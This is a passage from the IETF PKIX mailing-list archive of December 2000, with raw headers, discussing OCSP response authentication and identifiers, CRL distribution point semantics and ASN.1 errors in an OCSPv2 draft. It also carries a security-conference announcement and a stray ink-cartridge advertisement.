N. Bernardo Ave. http://www.valicert.com Mountain View, CA 94043 > -----Original Message----- > From: Jonathan.Tuliani@symbian.com > [mailto:Jonathan.Tuliani@symbian.com] > Sent: Monday, December 11, 2000 8:14 AM > To: ietf-pkix@imc.org > Subject: OCSP response authentication question > > > Deal all, > > We've been having a little trouble understanding how we > should be planning > to authenticate our OCSP responses in the case where there is > more than one > certificate from more than one issuer. If anyone can help to > shed some > light on this issue, we should be most grateful. Details follow. > > We're using the June 1999 edition of the OCSP spec, btw. > > Suppose that a client wished to authenticate more than one > certificate. > For example, suppose the client has a chain of certificates: > to validate > the chain requires each certificate to be revocation checked. It is > possible to bundle all of these certificates into a single > OCSP request. > Similarly, the OCSP response should be able to give us the > status for each > certificate. > > Our problem arises when trying to authenticate this response. It is > reasonable to suppose that the certificates in the request > could have been > issued by a variety of different bodies. Indeed, this is > likely to be so > in the common usage scenario of validating a certificate > chain. However, > notice that the OCSP response has only a single signature. > This being the > case, there is no way we can employ rules 2 or 3 under > section 4.2.2.2 of > the OCSP spec - these specify that the response be signed > either directly > by the certificate issuing CA, or contain an extendedKeyUsage > extension > issued directly by the issuing CA. This leaves rule 1, that > is that the > response match a locally configured trusted responder. > > Now suppose additionally that the OCSP server in question is > operating in > the mode described in section 4.4.6 of the spec. That is, > information is > taken from AuthorityInfoAccess extensions in the certificates to form > serviceLocator extensions, which are placed into the request as > singleRequestExtensions. The OCSP server uses these > extensions to direct > the request to other servers known to be authoritative for > the certificate > in question. In our scenario, these serviceLocator extensions will be > specifying several different authoritative servers. We > suppose then that > the original OCSP server must collate and authenticate these > responses, > before compiling a single response valid for all > certificates, which it > then signs and sends to the client. > > We would be grateful if someone more familiar with the OCSP spec could > confirm that what I have described is indeed a valid intended usage > scenario. In particular, we are concerned about the > authentication of the > multiple responses that the OCSP server must perform before > producing the > collated response. Is it correct for the client to trust the > server with > this task? > > Best regards, and thanks in advance, > > Jonathan > ----------------------------- > Jonathan.Tuliani@Symbian.com > www.symbian.com > From owner-ietf-pkix@imc.org Mon Dec 11 12:20:19 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA02057 for ; Mon, 11 Dec 2000 12:20:18 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA29812; Mon, 11 Dec 2000 09:16:43 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 09:16:30 -0800 Received: from pigeon.verisign.com (pigeon.verisign.com [208.206.241.106]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA29779 for ; Mon, 11 Dec 2000 09:16:29 -0800 (PST) Received: from postal-gw1.verisign.com (verisign.com [63.104.27.101]) by pigeon.verisign.com (8.9.3/BCH1.7.1) with ESMTP id JAA02469; Mon, 11 Dec 2000 09:14:50 -0800 (PST) Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id ; Mon, 11 Dec 2000 09:18:59 -0800 Message-ID: <2F3EC696EAEED311BB2D009027C3F4F4020DC0E2@vhqpostal.verisign.com> From: Michael Myers To: "Grant, Alistair" , ietf-pkix@imc.org Cc: Ambarish Malpani , Simon Tardell Subject: RE: OCSP identifiers Date: Mon, 11 Dec 2000 09:18:58 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Alistair, We will be talking about these issues face to face later today and throughout this week. Will you be in San Diego to join us? Taking up your question by cases though, we have: Many wireless environments are best enabled by use of a direct cert blob via Certificate syntax rather than performing the ASN.1 parsing, hash computation and ASN.1 construction necessary to produce certID. Certain other wireless environments find use of a name via GeneralName syntax more closely aligned with their PKI deployment requirements. In the disjoint S/MIME case, it is intutively obvious to the casual observer that use of IssuerandSerialNumber is a far more natural choice. Use of IssuerandSerialNumber may also benefit the classic SSL, TLS and IPSEC use cases. Finally, the certHash option enables a fairly compact means of producing an identifier against any form of certificate we know of today and any that may be produced in the future. By the way, this proposal *enables* environments to use these identifiers. The requirements need to be sharpened in this area to ensure at least one SHALL for interoperability purposes. Myself, I would propose IssuerandSerialNumber since it seems to be the single most widely deployed identifier in the marketplace today. Others may feel differently. Any opinions then on this rationale? And have you any further opinions on the recent proposal to extend the response spectrum to include valid, invalid, suspended and expired? I fully agree with Simon's observation that zero length Issuer Key Hash removes the need for the CA certificate. I had first brought this approach to the WG attention at the most recent D.C. IETF. I'm not yet sold that an extension-based approach is in the long run offers any benefit over the CHOICE approach. Could you elaborate on why you believe this to be the case? Mike > -----Original Message----- > From: Grant, Alistair [mailto:Alistair.Grant@ca.com] > Sent: Monday, December 11, 2000 4:49 AM > To: ietf-pkix@imc.org > Cc: Michael Myers; Ambarish Malpani; Simon Tardell > Subject: RE: OCSP identifiers > > > Hi Mike, > > Would you please provide a summary of why multiple > certificate identifier > formats are required in OCSPv2, overall and for each proposed > identifier. > In particular using CertHash seems problematic as it forces > the responder to > provide additional indexes for looking up certificates. > > Without sufficient justification (which I have not yet seen), > I would add my > voice to those opposing the additional identifiers (Simon > Tardell, Ambarish > Malpani, etc). > > Simon Tardell's suggestion of keeping the current CertId and adding an > extension to check issuance seems like a better alternative. > > As Simon has said, a zero length Issuer Key Hash removes the > need for the CA > certificate. In combination with Simon's extension the > client can still be > confident that the correct certificate is being identified. > > The wording for good/revoked/unknown discussion, as raised by > Ambarish, does > not seem to have been closed. > > > > Cheers, > > Alistair Grant > E-Mail: Alistair.Grant@ca.com > Phone: +61 3 9825 5692 > Mobile: +61 408 565 080 > From owner-ietf-pkix@imc.org Mon Dec 11 12:29:20 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04908 for ; Mon, 11 Dec 2000 12:29:19 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA00401; Mon, 11 Dec 2000 09:25:35 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 09:25:32 -0800 Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA00371 for ; Mon, 11 Dec 2000 09:25:31 -0800 (PST) Received: from [192.168.1.2] ([208.233.228.110]) by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G5E00EOHYKQPJ@mta5.snfc21.pbi.net> for ietf-pkix@imc.org; Mon, 11 Dec 2000 09:14:51 -0800 (PST) Date: Mon, 11 Dec 2000 09:16:50 -0800 From: Aram Perez Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available) In-reply-to: <003801c0638e$c021cb80$070a0a0a@klerer.net> To: ietf-pkix@imc.org Message-id: MIME-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Robert Klerer wrote: > But this is where the argument for efficiency breaks. The relaying party > for the PKI is often a human being not always a computer program. Often > when my browser (or email client) asks me if I want to trust a certificate, > I have a hard time finding my trusty ASN.1 decoder ring in that limited > dialog box. I certainly cannot trust the browser to do it, since they can > not even display the subject name in a consistent way. If I could read the > certificate source itself, I could resolve whatever suspicion I have to the > validity of the information and let my software validate the cryptographic > validity of the signature. You may be able to "resolve whatever suspicion" you "have to the validity of the information." But how about your grandmother? I know my grandmother will not, whether the information is displayed in XML or some textual version of ASN.1/BER/DER. Regards, Aram Perez [snip] From owner-ietf-pkix@imc.org Mon Dec 11 13:37:37 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19428 for ; Mon, 11 Dec 2000 13:37:36 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA02675; Mon, 11 Dec 2000 10:34:20 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 10:34:07 -0800 Received: from sentry.gw.tislabs.com (firewall-user@sentry.gw.tislabs.com [192.94.214.100]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA02638 for ; Mon, 11 Dec 2000 10:34:06 -0800 (PST) Received: by sentry.gw.tislabs.com; id NAA14802; Mon, 11 Dec 2000 13:39:40 -0500 (EST) Received: from clipper.gw.tislabs.com(10.33.1.2) by sentry.gw.tislabs.com via smap (V5.5) id xma014758; Mon, 11 Dec 00 13:38:54 -0500 Received: (from balenson@localhost) by clipper.gw.tislabs.com (8.9.3/8.9.1) id NAA20261 for ietf-pkix@imc.org; Mon, 11 Dec 2000 13:35:12 -0500 (EST) Date: Mon, 11 Dec 2000 13:35:12 -0500 (EST) From: "David M. Balenson" Message-Id: <200012111835.NAA20261@clipper.gw.tislabs.com> To: ietf-pkix@imc.org Subject: ANNOUNCE: ISOC Netw. & Distr. Sys. Security Symp. (NDSS'01) Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe R E G I S T E R N O W ! ! THE INTERNET SOCIETY'S 2001 NETWORK AND DISTRIBUTED SYSTEM SECURITY SYMPOSIUM (NDSS'01) February 8-9, 2001 Catamaran Resort Hotel, San Diego, California General Chair: Steve Welke, Trusted Computer Solutions Program Chairs: Avi Rubin, AT&T Labs - Research Paul Van Oorschot, Entrust Technologies ONLINE INFORMATION AND REGISTRATION: http://www.isoc.org/ndss01 EARLY REGISTRATION DISCOUNT DEADLINE: January 11, 2001 The 8th annual NDSS Symposium brings together researchers, implementers, and users of network and distributed system security technologies to discuss today's important security issues and challenges. The Symposium provides a mix of technical papers and panel presentations that describe promising new approaches to security problems that are practical and, to the extent possible, have been implemented. NDSS fosters the exchange of technical information and encourages the Internet community to deploy available security technologies and develop new solutions to unsolved problems. THIS YEAR'S TOPICS INCLUDE: * IP Traceback * Authenticating Streamed Data * ATM Encryption * Source Authentication for Multicast * Distributed Certified E-Mail * Wireless Security * Multi-Security Domain Networks * Authentication And Key Agreement * Access Control Language for Security Policies * Limiting the Disclosure of Access Control Policies * Principles of Policy in Secure Groups * Trust Management for IPsec * Building Certification Paths * Decentralized Jini Security * Termination in Language-based Systems * Cryptography as a Network Service * Implementation of Kerberos Crossrealm Referral Handling * Security Risks of Peer-to-Peer Networking PRE-CONFERENCE TECHNICAL TUTORIALS: * Network Security Protocol Standards, Stephen Kent * Deployed & Emerging Security Systems for the Internet, Radia Perlman & Charlie Kaufman * Building Secure Software, Gary McGraw * Intrusion Detection, Dan Nadir * Biometrics, Jim Wayman * Group Security, Thomas Hardjono & Hugh Harney SPONSORSHIP OPPORTUNITIES AVAILABLE! Take advantage of this high visibility event. Contact Torryn Brazell at the Internet Society at +1-703-326-9880 or send e-mail to brazell@isoc.org. THE INTERNET SOCIETY is a non-governmental organization for global cooperation and coordination for the Internet and its internetworking technologies and applications. From owner-ietf-pkix@imc.org Mon Dec 11 15:57:44 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09223 for ; Mon, 11 Dec 2000 15:57:43 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05941; Mon, 11 Dec 2000 12:54:14 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 12:54:06 -0800 Received: from pdcfairfax.elock.com ([63.83.231.13]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA05891 for ; Mon, 11 Dec 2000 12:54:05 -0800 (PST) Received: from ROCK207 ([63.83.231.21]) by pdcfairfax.elock.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id X6T46WQ5; Mon, 11 Dec 2000 15:52:02 -0500 Message-ID: <040701c063b4$4c261080$15e7533f@elock.com> From: "Jayant Sane \(Exchange\)" To: "Pkix List" Subject: Question about CRL DP Date: Mon, 11 Dec 2000 15:52:25 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0404_01C0638A.5B8EDD60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_0404_01C0638A.5B8EDD60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable This might be a naive question.=20 Is it allowed/std practice to put the CRLDP extension in the issuer(CA) = cert such that the crl pointed to contains/lists revoked end-entity = certs (issued by it).=20 I came across following certificate.=20 End-entity cert has an AIA extension pointing to its issuer cert and the = issuer cert has both AIA, to its issuer, and CRLDP persumably pointing = to a CRL containing end-entity certs. The specs have'nt been very clear = on the placement of this extension (unless I am overlooking something) = -- whether it is more appropriate to put the CRLDP in the end-entity = cert itself as compared to the CA cert. The one in the CA could be interpreted as one pointing to the CRL issued = its issuer.=20 Some clarification would be greatly appreciated. thanks, Jayant ------=_NextPart_000_0404_01C0638A.5B8EDD60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
This might be a naive question. =
 
Is it allowed/std practice to put the = CRLDP=20 extension in the issuer(CA) cert such that the crl pointed to = contains/lists=20 revoked end-entity certs (issued by it).
I came across following certificate. =
End-entity cert has an AIA extension = pointing to=20 its issuer cert and the issuer cert has both AIA, to its issuer, and = CRLDP=20 persumably pointing to a CRL containing end-entity certs. The specs = have'nt been=20 very clear on the placement of this extension (unless I am = overlooking=20 something) -- whether it is more appropriate to put the CRLDP in = the=20 end-entity cert itself as compared to the CA cert.
The one in the CA could be interpreted = as one=20 pointing to the CRL issued its issuer.
 
Some clarification would be greatly=20 appreciated.
 
thanks,
Jayant
------=_NextPart_000_0404_01C0638A.5B8EDD60-- From owner-ietf-pkix@imc.org Mon Dec 11 15:57:48 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09248 for ; Mon, 11 Dec 2000 15:57:48 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05937; Mon, 11 Dec 2000 12:54:14 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 12:54:02 -0800 Received: from inkjetfills.com ([63.174.85.142]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05879 for ; Mon, 11 Dec 2000 12:54:01 -0800 (PST) Date: Mon, 11 Dec 2000 14:50:42 -0600 From: "Irma Garcia" Message-ID: To: ietf-pkix@imc.org Subject: ALBAAT Ink Jet News V17 / EA-3/ A-P X-Mailer: eMerge 1.62 MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit SALE from ALBAAT Ink Jet Fills! Hewlett Packard Cartridge Refills Only $14.95 http://orders.albaat.com/retail/entrance_special.html Stock #A51645A Save over 50% For Printers: Hewlett Packard 700/800 Series printers We do need your empty cartridge to receive this special price! You are receiving this email because you are a past or current customer , vendor , or have either inquired about or requested information from this company. If you wish for us to remove you from our customer list, please reply to this message to let us know and we will honor your request to exclude you from further mailings. Sincerely, Irma A. Garcia irmag@inkjetfills.com www.inkjetfills.com Toll Free: 888-4 ALBAAT http://www.inkjetfills.com/free.html ALBAAT INKJET FILLS 12129 North Highway 620 #540 Austin, Texas 78750 From owner-ietf-pkix@imc.org Tue Dec 12 03:48:52 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA22246 for ; Tue, 12 Dec 2000 03:48:51 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA08150; Tue, 12 Dec 2000 00:45:31 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 00:45:09 -0800 Received: from mail.hobsoft.com.mt ([195.158.123.43]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA08041 for ; Tue, 12 Dec 2000 00:45:08 -0800 (PST) Received: from yuppi (10.111.111.34) by mail.hobsoft.com.mt (Worldmail 1.3.167) for ietf-pkix@imc.org; 12 Dec 2000 09:29:51 +0100 Message-ID: <00c301c06417$e9cf8290$226f6f0a@yuppi> From: "Aaron Galea" To: Subject: Certificates - X.509 Date: Tue, 12 Dec 2000 09:45:43 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00C0_01C06420.4B7D0730" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_00C0_01C06420.4B7D0730 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I have a problem when creating a certificate Payload. In RFC2408 it = mentions 3 types of X.509 certificates, mainly: =20 1.. X.509 Certificate - Signature 4=20 2.. X.509 Certificate - Key Exchange 5=20 3.. x.509 Certificate - Attribute 10=20 What is the difference between them??? or there is any other document = that explain this??? The problem is that the SSL functions I am using = return a whole X509 structure. It doesn't distinguish between these = X.509.=20 Thanks, Aaron ------=_NextPart_000_00C0_01C06420.4B7D0730 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
I = have a problem=20 when creating a certificate Payload. In RFC2408 it mentions 3 types of = X.509=20 certificates, mainly: 
  1. X.509 Certificate -=20 = Signature          &nbs= p;        =20 4=20
  2. X.509 Certificate - Key=20 = Exchange           = ;=20 5=20
  3. x.509 Certificate -=20 = Attribute          &nbs= p;        =20 10
What is the difference between = them??? or=20 there is any other document that explain this??? The = problem=20 is that the SSL functions I am using return a whole X509 structure. It = doesn't=20 distinguish between these X.509.
 
Thanks,
Aaron
------=_NextPart_000_00C0_01C06420.4B7D0730-- From owner-ietf-pkix@imc.org Tue Dec 12 08:23:43 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA22804 for ; Tue, 12 Dec 2000 08:23:42 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA12943; Tue, 12 Dec 2000 05:20:12 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 05:17:30 -0800 Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA12695 for ; Tue, 12 Dec 2000 05:17:19 -0800 (PST) Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id ; Tue, 12 Dec 2000 08:10:20 -0500 Message-ID: From: Sharon Boeyen To: "'Jayant Sane (Exchange)'" , Pkix List Subject: RE: Question about CRL DP Date: Tue, 12 Dec 2000 08:20:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0643E.40193E40" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0643E.40193E40 Content-Type: text/plain; charset="iso-8859-1" The CRL distribution points extension can appear in either a CA-certificate or an end-entity certificate. Regardless of the certificate type, the revocation list pointed to is one that would list the certificate (if it had been revoked) that contains the extension. So, if you find the extension in a CA-certificate it is pointing to an ARL (or a CRL that contains revocation notices for CA-certificates). While it is possible that the revocation list being pointed to also contains revocation notices for end-entity certs, you can't assume that from this instance of the extension. That would be indicated separately in the end-entity certs themselves. Hope this helps Sharon -----Original Message----- From: Jayant Sane (Exchange) [mailto:jayant@eLock.com] Sent: Monday, December 11, 2000 3:52 PM To: Pkix List Subject: Question about CRL DP This might be a naive question. Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert such that the crl pointed to contains/lists revoked end-entity certs (issued by it). I came across following certificate. End-entity cert has an AIA extension pointing to its issuer cert and the issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a CRL containing end-entity certs. The specs have'nt been very clear on the placement of this extension (unless I am overlooking something) -- whether it is more appropriate to put the CRLDP in the end-entity cert itself as compared to the CA cert. The one in the CA could be interpreted as one pointing to the CRL issued its issuer. Some clarification would be greatly appreciated. thanks, Jayant ------_=_NextPart_001_01C0643E.40193E40 Content-Type: text/html; charset="iso-8859-1"
The CRL distribution points extension can appear in either a CA-certificate or an end-entity certificate. Regardless of the certificate type, the revocation list pointed to is one that would list the certificate (if it had been revoked) that contains the extension. So, if you find the extension in a CA-certificate it is pointing to an ARL (or a CRL that contains revocation notices for CA-certificates). While it is possible that the revocation list being pointed to also contains revocation notices for end-entity certs, you can't assume that from this instance of the extension. That would be indicated separately in the end-entity certs themselves.
 
Hope this helps
Sharon
-----Original Message-----
From: Jayant Sane (Exchange) [mailto:jayant@eLock.com]
Sent: Monday, December 11, 2000 3:52 PM
To: Pkix List
Subject: Question about CRL DP

This might be a naive question.
 
Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert such that the crl pointed to contains/lists revoked end-entity certs (issued by it).
I came across following certificate.
End-entity cert has an AIA extension pointing to its issuer cert and the issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a CRL containing end-entity certs. The specs have'nt been very clear on the placement of this extension (unless I am overlooking something) -- whether it is more appropriate to put the CRLDP in the end-entity cert itself as compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued its issuer.
 
Some clarification would be greatly appreciated.
 
thanks,
Jayant
------_=_NextPart_001_01C0643E.40193E40-- From owner-ietf-pkix@imc.org Tue Dec 12 11:13:39 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13488 for ; Tue, 12 Dec 2000 11:13:38 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA26261; Tue, 12 Dec 2000 08:10:11 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 08:10:02 -0800 Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA26200 for ; Tue, 12 Dec 2000 08:10:00 -0800 (PST) Received: from RHOUSLEY-PC.spyrus.com (ietf.207.137.70.175.tx.verio.net [207.137.70.175]) by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id IAA09940; Tue, 12 Dec 2000 08:08:18 -0800 (PST) Message-Id: <5.0.1.4.2.20001212081843.0297a2d0@mail.spyrus.com> X-Sender: rhousley@mail.spyrus.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Tue, 12 Dec 2000 08:35:43 -0500 To: "Jayant Sane \(Exchange\)" From: Russ Housley Subject: Re: Question about CRL DP Cc: "Pkix List" In-Reply-To: <040701c063b4$4c261080$15e7533f@elock.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe RFC 2459, section 4.2.1.14 says: The CRL distribution points extension identifies how CRL information is obtained. The extension SHOULD be non-critical, but this profile recommends support for this extension by CAs and applications. Further discussion of CRL management is contained in section 5. If the cRLDistributionPoints extension contains a DistributionPointName of type URI, the following semantics MUST be assumed: the URI is a pointer to the current CRL for the associated reasons and will be issued by the associated cRLIssuer. The expected values for the URI are those defined in 4.2.1.7. Processing rules for other values are not defined by this specification. If the distributionPoint omits reasons, the CRL MUST include revocations for all reasons. If the distributionPoint omits cRLIssuer, the CRL MUST be issued by the CA that issued the certificate. We should probably be more explicit in the first sentence. The CRL DP extension tells how to obtain CRL information for the certificate that contains the extension. I will try to improve the sentence before son-of-RFC 2459 goes to last call. Russ At 03:52 PM 12/11/2000 -0500, Jayant Sane wrote: >This might be a naive question. > >Is it allowed/std practice to put the CRLDP extension in the issuer(CA) >cert such that the crl pointed to contains/lists revoked end-entity certs >(issued by it). >I came across following certificate. >End-entity cert has an AIA extension pointing to its issuer cert and the >issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to >a CRL containing end-entity certs. The specs have'nt been very clear on >the placement of this extension (unless I am overlooking something) -- >whether it is more appropriate to put the CRLDP in the end-entity cert >itself as compared to the CA cert. >The one in the CA could be interpreted as one pointing to the CRL issued >its issuer. > >Some clarification would be greatly appreciated. > >thanks, >Jayant From owner-ietf-pkix@imc.org Tue Dec 12 11:55:13 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA21938 for ; Tue, 12 Dec 2000 11:55:12 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA28636; Tue, 12 Dec 2000 08:51:54 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 08:51:45 -0800 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28601 for ; Tue, 12 Dec 2000 08:51:44 -0800 (PST) Received: from asn-1.com (user-2ivf1ol.dialup.mindspring.com [165.247.135.21]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id LAA10006 for ; Tue, 12 Dec 2000 11:54:19 -0500 (EST) Message-ID: <3A3658F9.CDDCEE15@asn-1.com> Date: Tue, 12 Dec 2000 11:57:29 -0500 From: "Phillip H. Griffin" Reply-To: phil.griffin@asn-1.com Organization: Griffin Consulting X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: pkix list Subject: Comments on draft-ietf-pkix-ocspv2-01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Following are comments on minor glitches I found in the OCSP ASN.1 module in draft-ietf-pkix-ocspv2-01.txt. [1] The definition of type OCSPResponseStatus is in error due to style. A comment "--No more data available }" makes the required trailing "}" missing: OCSPResponseStatus ::= ENUMERATED { snip noMoreData (7) --No more data available } Suggest changing the comment to bind this text with a second trailing "--" to yield "--No more data available -- }" [2] The OCSP module attempts to import type CRLReason from X.509 module AuthenticationFramework. But this enumerated type is not defined in that module, but is defined in the X.509 module CertificateExtensions { joint-iso-itu-t ds(5) module(1) certificateExtensions(26) 4 } Suggested change follows. Note that the X.509 AuthenticationFramework module defines well known ASN.1 types required by the OCSP module, but which are imported from elsewhere. Types CertificateSerialNumber and Extensions should be imported from the AuthenticationFramework module. Suggested change follows. The OCSP module attempts to import types GeneralName and Name from a module that has an EXPLICIT tags default. But type Name is defined in the X.501 InformationFramework module, which has an IMPLICIT tags default. Type GeneralName is defined in the X.509 CertificateExtensions module which also has an IMPLICIT tags default, and type GeneralName is not defined in the PKIX1Explicit88 module that is referenced by OCSP. Suggested change follows. Note that in the OCSP IMPORTS statement, the current version (4th edition) of the Directory standards are not referenced. Suggest changing the OCSP IMPORTS statement to the following: -- Directory Information Framework (X.501) -- Name FROM InformationFramework { joint-iso-itu-t ds(5) module(1) informationFramework(1) 3 } -- Directory Authentication Framework (X.509) -- AlgorithmIdentifier, Certificate, CertificateSerialNumber, Extensions FROM AuthenticationFramework { joint-iso-itu-t ds(5) module(1) authenticationFramework(7) 4 } -- Directory Certificate Extensions (X.509) -- CRLReason, GeneralName FROM CertificateExtensions { joint-iso-itu-t ds(5) module(1) certificateExtensions(26) 4 } -- PKIX (RFC 2459) -- AuthorityInfoAccessSyntax FROM PKIX1Implicit93 { iso(1) identified-organization(3) dod(6) internet(1) security(5) mechanisms(5) pkix(7) id-mod(0) id-pkix1-implicit-93(4) } id-ad-ocsp, id-kp FROM PKIX1Explicit93 { iso(1) identified-organization(3) dod(6) internet(1) security(5) mechanisms(5) pkix(7) id-mod(0) id-pkix1-explicit-93(3) } -- Cryptographic Message Syntax IssuerAndSerialNumber FROM CryptographicMessageSyntax { iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) modules(0) cms(1) }; [3] Type ReqCert references type IssuerandSerialNumber (note lowercase "and") in both the document text and the ASN.1 module. But the OCSP module imports IssuerAndSerialNumber. Suggest changing this spelling to "And" in both places. [4] The definition of module OCSP specifies an EXPLICIT tags default. This means that none of the uses of the EXPLICIT tagging modifier are needed 